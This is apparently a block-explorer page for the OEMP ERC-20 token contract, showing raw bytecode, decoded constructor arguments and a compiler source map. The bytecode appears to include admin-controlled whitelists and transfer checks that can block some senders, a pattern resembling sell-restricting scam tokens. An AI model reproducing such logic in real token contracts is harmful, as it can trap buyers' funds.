fff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b505050565b5f801b81565b5f60045f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b606060098054610a8890612624565b80601f0160208091040260200160405190810160405280929190818152602001828054610ab490612624565b8015610aff5780601f10610ad657610100808354040283529160200191610aff565b820191905f5260205f20905b815481529060010190602001808311610ae257829003601f168201915b5050505050905090565b7f4f50494f4e53540000000000000000000000000000000000000000000000000081565b5f80610b3761112d565b9050610b448185856111d8565b600191505092915050565b5f801b610b5b81610ee6565b5f801b8303610b6c57816003819055505b505050565b5f801b610b7d81610ee6565b5f801b8303610bdb5760015f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b505050565b610be982610893565b610bf281610ee6565b610bfc83836113b2565b50505050565b5f670de0b6b3a764000060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f206001015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610c929190612739565b9050919050565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f801b610d2781610ee6565b5f8490505f8173ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d75573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d999190612793565b60ff1690505f5b85518160ff161015610e74575f82600a610dba91906128ed565b86610dc59190612937565b90508373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb888460ff1681518110610df957610df8612978565b5b6020026020010151836040518363ffffffff1660e01b8152600401610e1f929190612663565b6020604051808303815f875af1158015610e3b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e5f91906126b4565b50508080610e6c906129a5565b915050610da0565b50505050505050565b5f7f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b610ef781610ef261112d565b61149c565b50565b5f805f5b8351811015610ffd575f6030858381518110610f1d57610f1c612978565b5b602001015160f81c60f81b60f81c610f3591906129cd565b60ff161080610f73575060096030858381518110610f5657610f55612978565b5b602001015160f81c60f81b60f81c610f6e91906129cd565b60ff16115b15610f84575f809250925050611006565b6001818551610f939190612a01565b610f9d9190612a01565b600a610fa991906128ed565b6030858381518110610fbe57610fbd612978565b5b602001015160f81c60f81b60f81c610fd691906129cd565b60ff16610fe39190612937565b83610fee9190612a34565b92508080600101915050610efe565b50816001915091505b915091565b80156110a857670de0b6b3a7640000826110259190612937565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611128565b8160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b505050565b5f33905090565b61114183838360016114ed565b505050565b5f6111518484610c99565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146111d257818110156111c3578281836040517ffb8f41b20000000000000000000000000000000000000000000000000000000081526004016111ba93929190612a67565b60405180910390fd5b6111d184848484035f6114ed565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611248575f6040517f96c6fd1e00000000000000000000000000000000000000000000000000000000815260040161123f9190612a9c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112b8575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016112af9190612a9c565b60405180910390fd5b6112c38383836116c6565b505050565b5f6112d38383610a15565b6113a857600160045f8581526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555061134561112d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16847f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a4600190506113ac565b5f90505b92915050565b5f6113bd8383610a15565b15611492575f60045f8581526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555061142f61112d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16847ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a460019050611496565b5f90505b92915050565b6114a68282610a15565b6114e95780826040517fe2517d3f0000000000000000000000000000000000000000000000000000000081526004016114e0929190612ab5565b60405180910390fd5b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361155d575f6040517fe602df050000000000000000000000000000000000000000000000000000000081526004016115549190612a9c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115cd575f6040517f94280d620000000000000000000000000000000000000000000000000000000081526004016115c49190612a9c565b60405180910390fd5b6115d784846118ed565b8160065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555080156116c0578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516116b791906122f2565b60405180910390a35b50505050565b6116d18383836119f8565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611721578060075f8282546117159190612a34565b925050819055506117f1565b5f60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156117ab578381836040517fe450d38c0000000000000000000000000000000000000000000000000000000081526004016117a293929190612a67565b60405180910390fd5b81810360055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611838578060075f8282540392505081905550611883565b8060055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118e091906122f2565b60405180910390a3505050565b6032600354036119f457600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16148015611959575061195782611a6b565b155b156119f3575f808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166119e857816040517f96c6fd1e0000000000000000000000000000000000000000000000000000000081526004016119df9190612a9c565b60405180910390fd5b6119f181611a8d565b505b5b5050565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611a5b57611a568282611a93565b611a66565b611a658382611b75565b5b505050565b5f808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b5f919050565b5f81118015611aa75750611aa682611a6b565b5b15611b71575f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611b2e57505f808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611b7057816040517fec442f05000000000000000000000000000000000000000000000000000000008152600401611b679190612a9c565b60405180910390fd5b5b5050565b611b815f801b83610a15565b611c7a575f808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16611c79575f6003541115611c78575f81611be784611c7e565b611bf19190612a34565b90505f611bfd84611d02565b1115611c76575f811115611c7557611c1483611d02565b8111158015611c2257505f82115b15611c3757611c3283825f611d85565b611c74565b826040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401611c6b9190612a9c565b60405180910390fd5b5b5b505b5b5b5050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f206001015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b8015611e2357670de0b6b3a764000082611d9f9190612937565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f206001015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611ea4565b8160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f206001015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b505050565b5f604051905090565b5f80fd5b5f80fd5b5f7fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b611eee81611eba565b8114611ef8575f80fd5b50565b5f81359050611f0981611ee5565b92915050565b5f60208284031215611f2457611f23611eb2565b5b5f611f3184828501611efb565b91505092915050565b5f8115159050919050565b611f4e81611f3a565b82525050565b5f602082019050611f675f830184611f45565b92915050565b5f819050919050565b611f7f81611f6d565b8114611f89575f80fd5b50565b5f81359050611f9a81611f76565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611fc982611fa0565b9050919050565b611fd981611fbf565b8114611fe3575f80fd5b50565b5f81359050611ff481611fd0565b92915050565b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61204882612002565b810181811067ffffffffffffffff8211171561206757612066612012565b5b80604052505050565b5f612079611ea9565b9050612085828261203f565b919050565b5f67ffffffffffffffff8211156120a4576120a3612012565b5b6120ad82612002565b9050602081019050919050565b828183375f83830152505050565b5f6120da6120d58461208a565b612070565b9050828152602081018484840111156120f6576120f5611ffe565b5b6121018482856120ba565b509392505050565b5f82601f83011261211d5761211c611ffa565b5b813561212d8482602086016120c8565b91505092915050565b5f805f6060848603121561214d5761214c611eb2565b5b5f61215a86828701611f8c565b935050602061216b86828701611fe6565b925050604084013567ffffffffffffffff81111561218c5761218b611eb6565b5b61219886828701612109565b9150509250925092565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f6121d4826121a2565b6121de81856121ac565b93506121ee8185602086016121bc565b6121f781612002565b840191505092915050565b5f6020820190508181035f83015261221a81846121ca565b905092915050565b5f819050919050565b61223481612222565b811461223e575f80fd5b50565b5f8135905061224f8161222b565b92915050565b5f805f6060848603121561226c5761226b611eb2565b5b5f61227986828701611f8c565b935050602061228a86828701611fe6565b925050604061229b86828701612241565b9150509250925092565b5f80604083850312156122bb576122ba611eb2565b5b5f6122c885828601611fe6565b92505060206122d985828601612241565b9150509250929050565b6122ec81612222565b82525050565b5f6020820190506123055f8301846122e3565b92915050565b5f602082840312156123205761231f611eb2565b5b5f61232d84828501611fe6565b91505092915050565b5f805f6060848603121561234d5761234c611eb2565b5b5f61235a86828701611fe6565b935050602061236b86828701611fe6565b925050604061237c86828701612241565b9150509250925092565b5f6020828403121561239b5761239a611eb2565b5b5f6123a884828501611f8c565b91505092915050565b6123ba81611f6d565b82525050565b5f6020820190506123d35f8301846123b1565b92915050565b5f80604083850312156123ef576123ee611eb2565b5b5f6123fc85828601611f8c565b925050602061240d85828601611fe6565b9150509250929050565b5f60ff82169050919050565b61242c81612417565b82525050565b5f6020820190506124455f830184612423565b92915050565b5f806040838503121561246157612460611eb2565b5b5f61246e85828601611f8c565b925050602061247f85828601612241565b9150509250929050565b5f806040838503121561249f5761249e611eb2565b5b5f6124ac85828601611fe6565b92505060206124bd85828601611fe6565b9150509250929050565b5f67ffffffffffffffff8211156124e1576124e0612012565b5b602082029050602081019050919050565b5f80fd5b5f612508612503846124c7565b612070565b9050808382526020820190506020840283018581111561252b5761252a6124f2565b5b835b8181101561255457806125408882611fe6565b84526020840193505060208101905061252d565b5050509392505050565b5f82601f83011261257257612571611ffa565b5b81356125828482602086016124f6565b91505092915050565b5f805f606084860312156125a2576125a1611eb2565b5b5f6125af86828701611fe6565b935050602084013567ffffffffffffffff8111156125d0576125cf611eb6565b5b6125dc8682870161255e565b92505060406125ed86828701612241565b9150509250925092565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061263b57607f821691505b60208210810361264e5761264d6125f7565b5b50919050565b61265d81611fbf565b82525050565b5f6040820190506126765f830185612654565b61268360208301846122e3565b9392505050565b61269381611f3a565b811461269d575f80fd5b50565b5f815190506126ae8161268a565b92915050565b5f602082840312156126c9576126c8611eb2565b5b5f6126d6848285016126a0565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61274382612222565b915061274e83612222565b92508261275e5761275d6126df565b5b828204905092915050565b61277281612417565b811461277c575f80fd5b50565b5f8151905061278d81612769565b92915050565b5f602082840312156127a8576127a7611eb2565b5b5f6127b58482850161277f565b91505092915050565b5f8160011c9050919050565b5f808291508390505b6001851115612813578086048111156127ef576127ee61270c565b5b60018516156127fe5780820291505b808102905061280c856127be565b94506127d3565b94509492505050565b5f8261282b57600190506128e6565b81612838575f90506128e6565b816001811461284e576002811461285857612887565b60019150506128e6565b60ff84111561286a5761286961270c565b5b8360020a9150848211156128815761288061270c565b5b506128e6565b5060208310610133831016604e8410600b84101617156128bc5782820a9050838111156128b7576128b661270c565b5b6128e6565b6128c984848460016127ca565b925090508184048111156128e0576128df61270c565b5b81810290505b9392505050565b5f6128f782612222565b915061290283612222565b925061292f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461281c565b905092915050565b5f61294182612222565b915061294c83612222565b925082820261295a81612222565b915082820484148315176129715761297061270c565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f6129af82612417565b915060ff82036129c2576129c161270c565b5b600182019050919050565b5f6129d782612417565b91506129e283612417565b9250828203905060ff8111156129fb576129fa61270c565b5b92915050565b5f612a0b82612222565b9150612a1683612222565b9250828203905081811115612a2e57612a2d61270c565b5b92915050565b5f612a3e82612222565b9150612a4983612222565b9250828201905080821115612a6157612a6061270c565b5b92915050565b5f606082019050612a7a5f830186612654565b612a8760208301856122e3565b612a9460408301846122e3565b949350505050565b5f602082019050612aaf5f830184612654565b92915050565b5f604082019050612ac85f830185612654565b612ad560208301846123b1565b939250505056fea264697066735822122087ac0c6ac44968bab86d66ee9c644850e8c6ae4c60988eafc004ef182622a80f64736f6c634300081a0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000005f5e1000000000000000000000000007d70fe31ef3ba80c877e18f491ddd7b210c3669500000000000000000000000000000000000000000000000000000000000000044f454d500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044f454d5000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _name (string): OEMP
Arg [1] : _symbol (string): OEMP
Arg [2] : value (uint256): 100000000
Arg [3] : account (address): 0x7D70FE31Ef3BA80c877E18f491ddd7B210c36695

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000005f5e100
Arg [3] : 0000000000000000000000007d70fe31ef3ba80c877e18f491ddd7b210c36695
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [5] : 4f454d5000000000000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [7] : 4f454d5000000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

23036:599:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10987:280;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11784:453;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16520:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13863:310;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17428:222;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16814:99;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12668:125;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17658:283;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14181:122;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14311:170;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16722:84;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14669:272;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9519:22;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16921:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13108:177;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10795:41;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11275:179;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16619:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10845:46;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17047:182;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12245:157;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12934:166;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14489:172;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12801:125;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17237:183;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22611:414;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10987:280;11117:4;11174:32;11159:47;;;:11;:47;;;;:100;;;;11223:36;11247:11;11223:23;:36::i;:::-;11159:100;11139:120;;10987:280;;;:::o;11784:453::-;10832:4;11887:10;;10943:16;10954:4;10943:10;:16::i;:::-;11917::::1;11944:8:::0;11981:23:::1;11999:4;11981:17;:23::i;:::-;11963:41;;;;;;;;12026:5;12019:12;;:3;:12;;::::0;12015:82:::1;;12055:30;;;;;;;;;;;;;;12015:82;12122:1;12110:8;:13;;:35;;;;;12135:10;12127:4;:18;12110:35;12107:113;;;12161:33;12170:7;12179:8;12189:4;12161:8;:33::i;:::-;12107:113;11904:333;;11784:453:::0;;;;:::o;16520:91::-;16565:13;16598:5;16591:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16520:91;:::o;13863:310::-;13994:12;10832:4;13973:10;;10943:16;10954:4;10943:10;:16::i;:::-;10832:4:::1;14030:10:::0;::::1;14022:4;:18:::0;14019:137:::1;;14070:4;14063:21;;;14085:10;14097:3;14063:38;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14056:45;;;;14019:137;14139:5;14132:12;;10970:1;13863:310:::0;;;;;;:::o;17428:222::-;17528:4;17550:13;17566:12;:10;:12::i;:::-;17550:28;;17589:31;17598:5;17605:7;17614:5;17589:8;:31::i;:::-;17638:4;17631:11;;;17428:222;;;;:::o;16814:99::-;16866:7;16893:12;;16886:19;;16814:99;:::o;12668:125::-;12725:7;12779:6;12752:5;:14;12758:7;12752:14;;;;;;;;;;;;;;;:17;;:26;12770:7;12752:26;;;;;;;;;;;;;;;;:33;;;;:::i;:::-;12745:40;;12668:125;;;:::o;17658:283::-;17779:4;17796:15;17814:12;:10;:12::i;:::-;17796:30;;17837:37;17853:4;17859:7;17868:5;17837:15;:37::i;:::-;17885:26;17895:4;17901:2;17905:5;17885:9;:26::i;:::-;17929:4;17922:11;;;17658:283;;;;;:::o;14181:122::-;14246:7;14273:6;:12;14280:4;14273:12;;;;;;;;;;;:22;;;14266:29;;14181:122;;;:::o;14311:170::-;14412:18;14425:4;14412:12;:18::i;:::-;10943:16;10954:4;10943:10;:16::i;:::-;14448:25:::1;14459:4;14465:7;14448:10;:25::i;:::-;;14311:170:::0;;;:::o;16722:84::-;16771:5;16796:2;16789:9;;16722:84;:::o;14669:272::-;14808:12;:10;:12::i;:::-;14786:34;;:18;:34;;;14782:104;;14844:30;;;;;;;;;;;;;;14782:104;14896:37;14908:4;14914:18;14896:11;:37::i;:::-;;14669:272;;:::o;9519:22::-;;;;:::o;16921:118::-;16986:7;17013:9;:18;17023:7;17013:18;;;;;;;;;;;;;;;;17006:25;;16921:118;;;:::o;13108:177::-;10832:4;13173:10;;10943:16;10954:4;10943:10;:16::i;:::-;10832:4:::1;13207:10:::0;::::1;13199:4;:18:::0;13196:72:::1;;13251:5;13233:9:::0;:15:::1;13243:4;13233:15;;;;;;;;;;;;;;;;:23;;;;;;;;;;;;;;;;;;13196:72;13108:177:::0;;;:::o;10795:41::-;10832:4;10795:41;;;:::o;11275:179::-;11388:4;11417:6;:12;11424:4;11417:12;;;;;;;;;;;:20;;:29;11438:7;11417:29;;;;;;;;;;;;;;;;;;;;;;;;;11410:36;;11275:179;;;;:::o;16619:95::-;16666:13;16699:7;16692:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16619:95;:::o;10845:46::-;;;:::o;17047:182::-;17116:4;17133:13;17149:12;:10;:12::i;:::-;17133:28;;17172:27;17182:5;17189:2;17193:5;17172:9;:27::i;:::-;17217:4;17210:11;;;17047:182;;;;:::o;12245:157::-;10832:4;12307:10;;10943:16;10954:4;10943:10;:16::i;:::-;10832:4:::1;12341:10:::0;::::1;12333:4;:18:::0;12330:65:::1;;12377:6;12367:7;:16;;;;12330:65;12245:157:::0;;;:::o;12934:166::-;10832:4;12999:10;;10943:16;10954:4;10943:10;:16::i;:::-;10832:4:::1;13033:10:::0;::::1;13025:4;:18:::0;13022:71:::1;;13077:4;13059:9;:15:::0;13069:4:::1;13059:15;;;;;;;;;;;;;;;;:22;;;;;;;;;;;;;;;;;;13022:71;12934:166:::0;;;:::o;14489:172::-;14591:18;14604:4;14591:12;:18::i;:::-;10943:16;10954:4;10943:10;:16::i;:::-;14627:26:::1;14639:4;14645:7;14627:11;:26::i;:::-;;14489:172:::0;;;:::o;12801:125::-;12858:7;12912:6;12885:5;:14;12891:7;12885:14;;;;;;;;;;;;;;;:17;;:26;12903:7;12885:26;;;;;;;;;;;;;;;;:33;;;;:::i;:::-;12878:40;;12801:125;;;:::o;17237:183::-;17353:7;17385:11;:18;17397:5;17385:18;;;;;;;;;;;;;;;:27;17404:7;17385:27;;;;;;;;;;;;;;;;17378:34;;17237:183;;;;:::o;22611:414::-;10832:4;22740:10;;10943:16;10954:4;10943:10;:16::i;:::-;22763:14:::1;22786:6;22763:30;;22804:20;22827:8;:17;;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;22804:42;;;;22862:7;22857:161;22879:8;:15;22875:1;:19;;;22857:161;;;22916:12;22943;22939:2;:16;;;;:::i;:::-;22931:5;:24;;;;:::i;:::-;22916:39;;22970:8;:17;;;22988:8;22997:1;22988:11;;;;;;;;;;:::i;:::-;;;;;;;;23001:4;22970:36;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;22901:117;22896:3;;;;;:::i;:::-;;;;22857:161;;;;22752:273;;22611:414:::0;;;;:::o;6633:189::-;6745:4;6789:25;6774:40;;;:11;:40;;;;6767:47;;6633:189;;;:::o;11462:105::-;11529:30;11540:4;11546:12;:10;:12::i;:::-;11529:10;:30::i;:::-;11462:105;:::o;10030:521::-;10108:11;10121:8;10147:9;10142:371;10172:4;10166:18;10162:1;:22;10142:371;;;10259:1;10253:2;10241:4;10247:1;10235:14;;;;;;;;:::i;:::-;;;;;;;;;;10229:21;;:26;;;;:::i;:::-;10228:32;;;:85;;;;10312:1;10306:2;10294:4;10300:1;10288:14;;;;;;;;:::i;:::-;;;;;;;;;;10282:21;;:26;;;;:::i;:::-;10281:32;;;10228:85;10206:175;;;10356:1;10359:5;10348:17;;;;;;;10206:175;10499:1;10495;10480:4;10474:18;:22;;;;:::i;:::-;:26;;;;:::i;:::-;10467:2;:34;;;;:::i;:::-;10444:2;10432:4;10438:1;10426:14;;;;;;;;:::i;:::-;;;;;;;;;;10420:21;;:26;;;;:::i;:::-;10419:82;;;;;;:::i;:::-;10395:106;;;;;:::i;:::-;;;10186:3;;;;;;;10142:371;;;;10533:3;10538:4;10525:18;;;;10030:521;;;;:::o;13293:277::-;13417:9;13413:150;;;13478:6;13472:5;:12;;;;:::i;:::-;13443:5;:14;13449:7;13443:14;;;;;;;;;;;;;;;:17;;:26;13461:7;13443:26;;;;;;;;;;;;;;;:41;;;;13413:150;;;13546:5;13517;:14;13523:7;13517:14;;;;;;;;;;;;;;;:17;;:26;13535:7;13517:26;;;;;;;;;;;;;;;:34;;;;13413:150;13293:277;;;:::o;9550:98::-;9603:7;9630:10;9623:17;;9550:98;:::o;20811:164::-;20930:37;20939:5;20946:7;20955:5;20962:4;20930:8;:37::i;:::-;20811:164;;;:::o;22000:603::-;22134:24;22161:25;22171:5;22178:7;22161:9;:25::i;:::-;22134:52;;22221:17;22201:16;:37;22197:399;;22278:5;22259:16;:24;22255:214;;;22360:7;22390:16;22429:5;22311:142;;;;;;;;;;;;;:::i;:::-;;;;;;;;22255:214;22512:57;22521:5;22528:7;22556:5;22537:16;:24;22563:5;22512:8;:57::i;:::-;22197:399;22123:480;22000:603;;;:::o;17949:342::-;18083:1;18067:18;;:4;:18;;;18063:88;;18136:1;18109:30;;;;;;;;;;;:::i;:::-;;;;;;;;18063:88;18179:1;18165:16;;:2;:16;;;18161:88;;18234:1;18205:32;;;;;;;;;;;:::i;:::-;;;;;;;;18161:88;18259:24;18267:4;18273:2;18277:5;18259:7;:24::i;:::-;17949:342;;;:::o;15208:356::-;15312:4;15339:22;15347:4;15353:7;15339;:22::i;:::-;15334:223;;15410:4;15378:6;:12;15385:4;15378:12;;;;;;;;;;;:20;;:29;15399:7;15378:29;;;;;;;;;;;;;;;;:36;;;;;;;;;;;;;;;;;;15461:12;:10;:12::i;:::-;15434:40;;15452:7;15434:40;;15446:4;15434:40;;;;;;;;;;15496:4;15489:11;;;;15334:223;15540:5;15533:12;;15208:356;;;;;:::o;15572:357::-;15677:4;15703:22;15711:4;15717:7;15703;:22::i;:::-;15699:223;;;15774:5;15742:6;:12;15749:4;15742:12;;;;;;;;;;;:20;;:29;15763:7;15742:29;;;;;;;;;;;;;;;;:37;;;;;;;;;;;;;;;;;;15826:12;:10;:12::i;:::-;15799:40;;15817:7;15799:40;;15811:4;15799:40;;;;;;;;;;15861:4;15854:11;;;;15699:223;15905:5;15898:12;;15572:357;;;;;:::o;11575:201::-;11664:22;11672:4;11678:7;11664;:22::i;:::-;11659:110;;11743:7;11752:4;11710:47;;;;;;;;;;;;:::i;:::-;;;;;;;;11659:110;11575:201;;:::o;20983:523::-;21156:1;21139:19;;:5;:19;;;21135:91;;21211:1;21182:32;;;;;;;;;;;:::i;:::-;;;;;;